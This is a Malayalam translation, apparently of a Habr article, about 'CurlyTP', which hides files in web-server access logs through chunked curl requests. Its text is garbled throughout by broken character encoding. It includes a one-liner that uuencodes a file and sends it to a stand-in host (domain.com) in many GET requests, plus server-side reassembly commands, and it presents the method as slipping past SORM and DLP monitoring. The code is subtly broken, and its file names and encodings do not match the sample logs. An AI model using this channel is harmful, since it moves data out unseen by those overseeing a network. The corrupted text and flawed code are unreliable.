เดธเต†เตผเดตเตผ เดฒเต‹เด—เตเด•เตพ เดตเดดเดฟ เดฐเดนเดธเตเดฏ เดธเดจเตเดฆเต‡เดถเด™เตเด™เดณเตเดŸเต† เด•เตˆเดฎเดพเดฑเตเดฑเด‚

เดตเดฟเด•เตเด•เดฟเดชเต€เดกเดฟเดฏ เดจเดฟเตผเดตเดšเดจเด‚ เด…เดจเตเดธเดฐเดฟเดšเตเดšเต, เด’เดฐเต เดฐเดนเดธเตเดฏ เดฒเตŠเด•เตเด•เต‡เดทเตป เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจ เด†เดณเตเด•เตพเด•เตเด•เดฟเดŸเดฏเดฟเตฝ เดตเดฟเดตเดฐเด™เตเด™เดณเต‹ เดšเดฟเดฒ เด‡เดจเด™เตเด™เดณเต‹ เด•เตˆเดฎเดพเดฑเดพเตป เดธเดนเดพเดฏเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เด—เต‚เดขเดพเดฒเต‹เดšเดจ เด‰เดชเด•เดฐเดฃเดฎเดพเดฃเต เดกเต†เดกเต เดกเตเดฐเต‹เดชเตเดชเต. เด†เดณเตเด•เตพ เด’เดฐเดฟเด•เตเด•เดฒเตเด‚ เด•เดฃเตเดŸเตเดฎเตเดŸเตเดŸเดฟเดฒเตเดฒ เดŽเดจเตเดจเดคเดพเดฃเต เด†เดถเดฏเด‚ - เดŽเดจเตเดจเดพเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดจ เดธเตเดฐเด•เตเดท เดจเดฟเดฒเดจเดฟเตผเดคเตเดคเดพเตป เด…เดตเตผ เด‡เดชเตเดชเต‹เดดเตเด‚ เดตเดฟเดตเดฐเด™เตเด™เตพ เด•เตˆเดฎเดพเดฑเตเดจเตเดจเต.

เด’เดณเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เดธเตเดฅเดฒเด‚ เดถเตเดฐเดฆเตเดง เด†เด•เตผเดทเดฟเด•เตเด•เดฐเตเดคเต. เด…เดคเดฟเดจเดพเตฝ, เด“เดซเตโ€Œเดฒเตˆเตป เดฒเต‹เด•เดคเตเดคเต เด…เดตเตผ เดชเดฒเดชเตเดชเต‹เดดเตเด‚ เดตเดฟเดตเต‡เด•เดชเต‚เตผเดฃเตเดฃเดฎเดพเดฏ เด•เดพเดฐเตเดฏเด™เตเด™เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต: เดšเตเดตเดฐเดฟเตฝ เด’เดฐเต เด…เดฏเดžเตเดž เด‡เดทเตเดŸเดฟเด•, เด’เดฐเต เดฒเตˆเดฌเตเดฐเดฑเดฟ เดชเตเดธเตเดคเด•เด‚ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เด’เดฐเต เดฎเดฐเดคเตเดคเดฟเดฒเต† เดชเตŠเดณเตเดณเดฏเดพเดฏ.

เด‡เตปเดฑเตผเดจเต†เดฑเตเดฑเดฟเตฝ เดจเดฟเดฐเดตเดงเดฟ เดŽเตปเด•เตเดฐเดฟเดชเตเดทเตป, เด…เดœเตเดžเดพเดคเดตเตฝเด•เตเด•เดฐเดฃเด‚ เดŸเต‚เดณเตเด•เตพ เด‰เดฃเตเดŸเต, เดŽเดจเตเดจเดพเตฝ เดˆ เดŸเต‚เดณเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดฑเต† เดตเดธเตเดคเตเดค เดถเตเดฐเดฆเตเดง เด†เด•เตผเดทเดฟเด•เตเด•เตเดจเตเดจเต. เด•เต‚เดŸเดพเดคเต†, เด…เดตเตผ เด•เต‹เตผเดชเตเดชเดฑเต‡เดฑเตเดฑเต เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดธเตผเด•เตเด•เดพเตผ เดคเดฒเดคเตเดคเดฟเตฝ เดคเดŸเดฏเดชเตเดชเต†เดŸเตเดŸเต‡เด•เตเด•เดพเด‚. เดŽเดจเตเดคเตเดšเต†เดฏเตเดฏเตเด‚?

เดกเดตเดฒเดชเตเดชเตผ เดฑเดฏเดพเตป เดซเตเดฒเดตเต‡เดดเตเดธเต เด’เดฐเต เดฐเดธเด•เดฐเดฎเดพเดฏ เด“เดชเตเดทเตป เดจเดฟเตผเดฆเตเดฆเต‡เดถเดฟเดšเตเดšเต - เด’เดฐเต เด’เดณเดฟเดฏเดฟเดŸเดฎเดพเดฏเดฟ เดเดคเต†เด™เตเด•เดฟเดฒเตเด‚ เดตเต†เดฌเต เดธเต†เตผเดตเตผ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเด•. เดจเดฟเด™เตเด™เตพ เด…เดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดšเดฟเดจเตเดคเดฟเด•เตเด•เตเด•เดฏเดพเดฃเต†เด™เตเด•เดฟเตฝ, เด’เดฐเต เดตเต†เดฌเต เดธเต†เตผเดตเตผ เดŽเดจเตเดคเดพเดฃเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต? เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดซเดฏเดฒเตเด•เตพ เดจเตฝเด•เตเด•เดฏเตเด‚ เดฒเต‹เด—เตเด•เตพ เดŽเดดเตเดคเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต. เด…เดคเต เดŽเดฒเตเดฒเดพ เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เดณเตเด‚ เดฒเต‹เด—เต เดšเต†เดฏเตเดฏเตเดจเตเดจเต, เดคเต†เดฑเตเดฑเดพเดฏเดต เดชเต‹เดฒเตเด‚!

เดเดคเต เดตเต†เดฌเต เดธเต†เตผเดตเดฑเตเด‚ เดฒเต‹เด—เดฟเดฒเต† เดเดคเต เดธเดจเตเดฆเต‡เดถเดตเตเด‚ เดธเด‚เดฐเด•เตเดทเดฟเด•เตเด•เดพเตป เดจเดฟเด™เตเด™เดณเต† เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเตเดตเต†เดจเตเดจเต เด‡เดคเต เดฎเดพเดฑเตเดจเตเดจเต. เด‡เดคเต เดŽเด™เตเด™เดจเต† เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเดฎเต†เดจเตเดจเต เดชเต‚เด•เตเด•เตพ เดšเดฟเดจเตเดคเดฟเดšเตเดšเต.

เด…เดตเตป เดˆ เด“เดชเตเดทเตป เดตเดพเด—เตเดฆเดพเดจเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต:

  1. เด’เดฐเต เดŸเต†เด•เตเดธเตเดฑเตเดฑเต เดซเดฏเตฝ (เดฐเดนเดธเตเดฏ เดธเดจเตเดฆเต‡เดถเด‚) เดŽเดŸเตเดคเตเดคเต เดนเดพเดทเต (md5sum) เด•เดฃเด•เตเด•เดพเด•เตเด•เตเด•.
  2. เดžเด™เตเด™เตพ เด…เดคเต เดŽเตปเด•เต‹เดกเต เดšเต†เดฏเตเดฏเตเดจเตเดจเต (gzip+uuencode).
  3. เดธเต†เตผเดตเดฑเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดฎเดจเดƒเดชเต‚เตผเดตเตเดตเด‚ เดคเต†เดฑเตเดฑเดพเดฏ เด…เดญเตเดฏเตผเดคเตเดฅเดจ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดžเด™เตเด™เตพ เดฒเต‹เด—เดฟเดฒเต‡เด•เตเด•เต เดŽเดดเตเดคเตเดจเตเดจเต.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

เด’เดฐเต เดซเดฏเตฝ เดตเดพเดฏเดฟเด•เตเด•เดพเตป, เดจเดฟเด™เตเด™เตพ เดฑเดฟเดตเต‡เดดเตเดธเต เด“เตผเดกเดฑเดฟเตฝ เดˆ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดจเดŸเดคเตเดคเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต: เดซเดฏเตฝ เดกเต€เด•เต‹เดกเต เดšเต†เดฏเตเดคเต เด…เตบเดธเดฟเดชเตเดชเต เดšเต†เดฏเตเดฏเตเด•, เดนเดพเดทเต เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เตเด• (เดนเดพเดทเต เดคเตเดฑเดจเตเดจ เดšเดพเดจเดฒเตเด•เดณเดฟเดฒเต‚เดŸเต† เดธเตเดฐเด•เตเดทเดฟเดคเดฎเดพเดฏเดฟ เด•เตˆเดฎเดพเดฑเดพเตป เด•เดดเดฟเดฏเตเด‚).

เด‡เดŸเด™เตเด™เตพ เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเด•เตเด•เตเดจเตเดจเต =+=เด…เดคเดฟเดจเดพเตฝ เดตเดฟเดฒเดพเดธเดคเตเดคเดฟเตฝ เดธเตโ€Œเดชเต†เดฏเตโ€Œเดธเตเด•เดณเดฟเดฒเตเดฒ. เดฐเดšเดฏเดฟเดคเดพเดตเต CurlyTP เดŽเดจเตเดจเต เดตเดฟเดณเดฟเด•เตเด•เตเดจเตเดจ เดชเตเดฐเต‹เด—เตเดฐเดพเด‚, เด‡เดฎเต†เดฏเดฟเตฝ เด…เดฑเตเดฑเดพเดšเตเดšเตโ€Œเดฎเต†เดจเตเดฑเตเด•เตพ เดชเต‹เดฒเต† เดฌเต‡เดธเต64 เดŽเตปเด•เต‹เดกเดฟเด‚เด—เต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต. เด’เดฐเต เด•เต€เดตเต‡เดกเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเดพเดฃเต เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดจเดŸเดคเตเดคเตเดจเตเดจเดคเต ?transfer?เด…เดคเดฟเดจเดพเตฝ เดธเตเดตเต€เด•เตผเดคเตเดคเดพเดตเดฟเดจเต เด…เดคเต เดฒเต‹เด—เตเด•เดณเดฟเตฝ เดŽเดณเตเดชเตเดชเดคเตเดคเดฟเตฝ เด•เดฃเตเดŸเต†เดคเตเดคเดพเดจเดพเด•เตเด‚.

เดˆ เด•เต‡เดธเดฟเตฝ เดฒเต‹เด—เตเด•เดณเดฟเตฝ เดจเดฎเตเดฎเตพ เดŽเดจเตเดคเดพเดฃเต เด•เดพเดฃเตเดจเตเดจเดคเต?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

เด‡เดคเดฟเดจเด•เด‚ เดธเต‚เดšเดฟเดชเตเดชเดฟเดšเตเดšเดคเตเดชเต‹เดฒเต†, เด’เดฐเต เดฐเดนเดธเตเดฏ เดธเดจเตเดฆเต‡เดถเด‚ เดฒเดญเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดจเดฟเด™เตเด™เตพ เดฑเดฟเดตเต‡เดดเตเดธเต เด“เตผเดกเดฑเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดจเดŸเดคเตเดคเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

เดชเตเดฐเด•เตเดฐเดฟเดฏ เด“เดŸเตเดŸเต‹เดฎเต‡เดฑเตเดฑเต เดšเต†เดฏเตเดฏเดพเตป เดŽเดณเตเดชเตเดชเดฎเดพเดฃเต. Md5sum เดชเตŠเดฐเตเดคเตเดคเดชเตเดชเต†เดŸเตเดคเตเดคเตเดจเตเดจเต, เดซเดฏเดฒเดฟเดจเตเดฑเต† เด‰เดณเตเดณเดŸเด•เตเด•เด™เตเด™เตพ เดŽเดฒเตเดฒเดพเด‚ เดถเดฐเดฟเดฏเดพเดฏเดฟ เดกเต€เด•เต‹เดกเต เดšเต†เดฏเตเดคเดคเดพเดฏเดฟ เดธเตเดฅเดฟเดฐเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเต.

เดฐเต€เดคเดฟ เดตเดณเดฐเต† เดฒเดณเดฟเดคเดฎเดพเดฃเต. โ€œเดจเดฟเดทเตเด•เดณเด™เตเด•เดฎเดพเดฏ เดšเต†เดฑเดฟเดฏ เดตเต†เดฌเต เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เดณเดฟเดฒเต‚เดŸเต† เดซเดฏเดฒเตเด•เตพ เด•เตˆเดฎเดพเดฑเดพเตป เด•เดดเดฟเดฏเตเดฎเต†เดจเตเดจเต เดคเต†เดณเดฟเดฏเดฟเด•เตเด•เตเด• เดŽเดจเตเดจเดคเดพเดฃเต เดˆ เดตเตเดฏเดพเดฏเดพเดฎเดคเตเดคเดฟเดจเตเดฑเต† เดฒเด•เตเดทเตเดฏเด‚, เด•เต‚เดŸเดพเดคเต† เด‡เดคเต เดชเตเดฒเต†เดฏเดฟเตป เดŸเต†เด•เตเดธเตเดฑเตเดฑเต เดฒเต‹เด—เตเด•เดณเตเดณเตเดณ เดเดคเต เดตเต†เดฌเต เดธเต†เตผเดตเดฑเดฟเดฒเตเด‚ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเต. เด…เดŸเดฟเดธเตเดฅเดพเดจเดชเดฐเดฎเดพเดฏเดฟ, เด“เดฐเต‹ เดตเต†เดฌเต เดธเต†เตผเดตเดฑเตเด‚ เด’เดฐเต เดฎเดฑเดžเตเดžเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เดธเตเดฅเดฒเดฎเดพเดฃเต!โ€ เดซเตเดฒเดตเต‡เดดเตเดธเต เดŽเดดเตเดคเตเดจเตเดจเต.

เดคเต€เตผเดšเตเดšเดฏเดพเดฏเตเด‚, เดธเตเดตเต€เด•เตผเดคเตเดคเดพเดตเดฟเดจเต เดธเต†เตผเดตเตผ เดฒเต‹เด—เตเด•เดณเดฟเดฒเต‡เด•เตเด•เต เด†เด•เตเดธเดธเต เด‰เดฃเตเดŸเต†เด™เตเด•เดฟเตฝ เดฎเดพเดคเตเดฐเดฎเต‡ เดฐเต€เดคเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เต‚. เดŽเดจเตเดจเดพเตฝ เด…เดคเตเดคเดฐเด‚ เดชเตเดฐเดตเต‡เดถเดจเด‚ เดจเตฝเด•เตเดจเตเดจเต, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดชเดฒ เดนเต‹เดธเตเดฑเตเดฑเตผเดฎเดพเดฐเตเด‚.

เด‡เดคเต†เด™เตเด™เดจเต† เด‰เดชเดฏเต‡เดพเด—เดฟเด•เตเด•เดฃเด‚?

เดคเดพเตป เด’เดฐเต เด‡เตปเดซเตผเดฎเต‡เดทเตป เดธเต†เด•เตเดฏเต‚เดฐเดฟเดฑเตเดฑเดฟ เดตเดฟเดฆเด—เตเดงเดจเดฒเตเดฒเต†เดจเตเดจเตเด‚ CurlyTP-เดฏเตเดŸเต† เดธเดพเดงเตเดฏเดฎเดพเดฏ เด‰เดชเดฏเต‹เด—เด™เตเด™เดณเตเดŸเต† เด’เดฐเต เดฒเดฟเดธเตเดฑเตเดฑเต เด•เด‚เดชเตˆเตฝ เดšเต†เดฏเตเดฏเดฟเดฒเตเดฒเต†เดจเตเดจเตเด‚ เดฑเดฏเดพเตป เดซเตเดฒเดตเต‡เดดเตเดธเต เดชเดฑเดฏเตเดจเตเดจเต. เด…เดตเดจเต† เดธเด‚เดฌเดจเตเดงเดฟเดšเตเดšเดฟเดŸเดคเตเดคเต‹เดณเด‚, เดจเดพเด‚ เดฆเดฟเดตเดธเดตเตเด‚ เด•เดพเดฃเตเดจเตเดจ เดชเดฐเดฟเดšเดฟเดคเดฎเดพเดฏ เด‰เดชเด•เดฐเดฃเด™เตเด™เตพ เดชเดพเดฐเดฎเตเดชเดฐเตเดฏเต‡เดคเดฐ เดฐเต€เดคเดฟเดฏเดฟเตฝ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเดฎเต†เดจเตเดจ เด†เดถเดฏเดคเตเดคเดฟเดจเตเดฑเต† เดคเต†เดณเดฟเดตเต เดฎเดพเดคเตเดฐเดฎเดพเดฃเต.

เดตเดพเดธเตเดคเดตเดคเตเดคเดฟเตฝ, เดˆ เดฐเต€เดคเดฟเด•เตเด•เต เดฎเดฑเตเดฑเต เดธเต†เตผเดตเตผ "เดฎเดฑเดฏเตเด•เตเด•เตเด•" เดชเต‹เดฒเต†เดฏเตเดณเตเดณ เดจเดฟเดฐเดตเดงเดฟ เด—เตเดฃเด™เตเด™เดณเตเดฃเตเดŸเต เดกเดฟเดœเดฟเดฑเตเดฑเตฝ เดกเต†เดกเต เดกเตเดฐเต‹เดชเตเดชเต เด…เดฅเดตเดพ เดชเตˆเดฑเต‡เดฑเตเดฑเตเดฌเต‹เด•เตเดธเต: เด‡เดคเดฟเดจเต เดธเต†เตผเดตเตผ เดญเดพเด—เดคเตเดคเต เดชเตเดฐเดคเตเดฏเต‡เด• เด•เต‹เตบเดซเดฟเด—เดฑเต‡เดทเดจเต‹ เดชเตเดฐเดคเตเดฏเต‡เด• เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด•เดณเต‹ เด†เดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ - เดŸเตเดฐเดพเดซเดฟเด•เต เดจเดฟเดฐเต€เด•เตเดทเดฟเด•เตเด•เตเดจเตเดจเดตเดฐเดฟเตฝ เดธเด‚เดถเดฏเด‚ เดœเดจเดฟเดชเตเดชเดฟเด•เตเด•เดฟเดฒเตเดฒ. เด’เดฐเต SORM เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ DLP เดธเดฟเดธเตเดฑเตเดฑเด‚ เด•เด‚เดชเตเดฐเดธเต เดšเต†เดฏเตเดค เดŸเต†เด•เตเดธเตเดฑเตเดฑเต เดซเดฏเดฒเตเด•เตพเด•เตเด•เดพเดฏเดฟ URL-เด•เตพ เดธเตเด•เดพเตป เดšเต†เดฏเตเดฏเดพเตป เดธเดพเดงเตเดฏเดคเดฏเดฟเดฒเตเดฒ.

เดธเต‡เดตเดจ เดซเดฏเดฒเตเด•เตพ เดตเดดเดฟ เดธเดจเตเดฆเต‡เดถเด™เตเด™เตพ เด•เตˆเดฎเดพเดฑเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เด’เดฐเต เดฎเดพเตผเด—เดฎเดพเดฃเดฟเดคเต. เดšเดฟเดฒ เดตเดฟเด•เดธเดฟเดค เด•เดฎเตเดชเดจเดฟเด•เตพ เดŽเด™เตเด™เดจเต† เดธเตเดฅเดพเดชเดฟเดšเตเดšเตเดตเต†เดจเตเดจเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด“เตผเดฎเตเดฎเดฟเด•เตเด•เดพเด‚ HTTP เดคเดฒเด•เตเด•เต†เดŸเตเดŸเตเด•เดณเดฟเดฒเต† เดกเต†เดตเดฒเดชเตเดชเตผ เดœเต‹เดฒเดฟเด•เตพ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ HTML เดชเต‡เดœเตเด•เดณเตเดŸเต† เด•เต‹เดกเดฟเตฝ.

เดธเต†เตผเดตเตผ เดฒเต‹เด—เตเด•เตพ เดตเดดเดฟ เดฐเดนเดธเตเดฏ เดธเดจเตเดฆเต‡เดถเด™เตเด™เดณเตเดŸเต† เด•เตˆเดฎเดพเดฑเตเดฑเด‚

เด’เดฐเต เดธเดพเดงเดพเดฐเดฃ เดตเตเดฏเด•เตเดคเดฟ เดคเดฒเด•เตเด•เต†เดŸเตเดŸเตเด•เดณเดฟเดฒเต‡เด•เตเด•เต‹ HTML เด•เต‹เดกเดฟเดฒเต‡เด•เตเด•เต‹ เดจเต‹เด•เตเด•เดพเดคเตเดคเดคเดฟเดจเดพเตฝ เดตเต†เดฌเต เดกเต†เดตเดฒเดชเตเดชเตผเดฎเดพเตผ เดฎเดพเดคเตเดฐเดฎเต‡ เดˆ เดˆเดธเตเดฑเตเดฑเตผ เดŽเด—เต เด•เดพเดฃเต‚ เดŽเดจเตเดจเดพเดฏเดฟเดฐเตเดจเตเดจเต เด†เดถเดฏเด‚.

เดธเต†เตผเดตเตผ เดฒเต‹เด—เตเด•เตพ เดตเดดเดฟ เดฐเดนเดธเตเดฏ เดธเดจเตเดฆเต‡เดถเด™เตเด™เดณเตเดŸเต† เด•เตˆเดฎเดพเดฑเตเดฑเด‚

เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•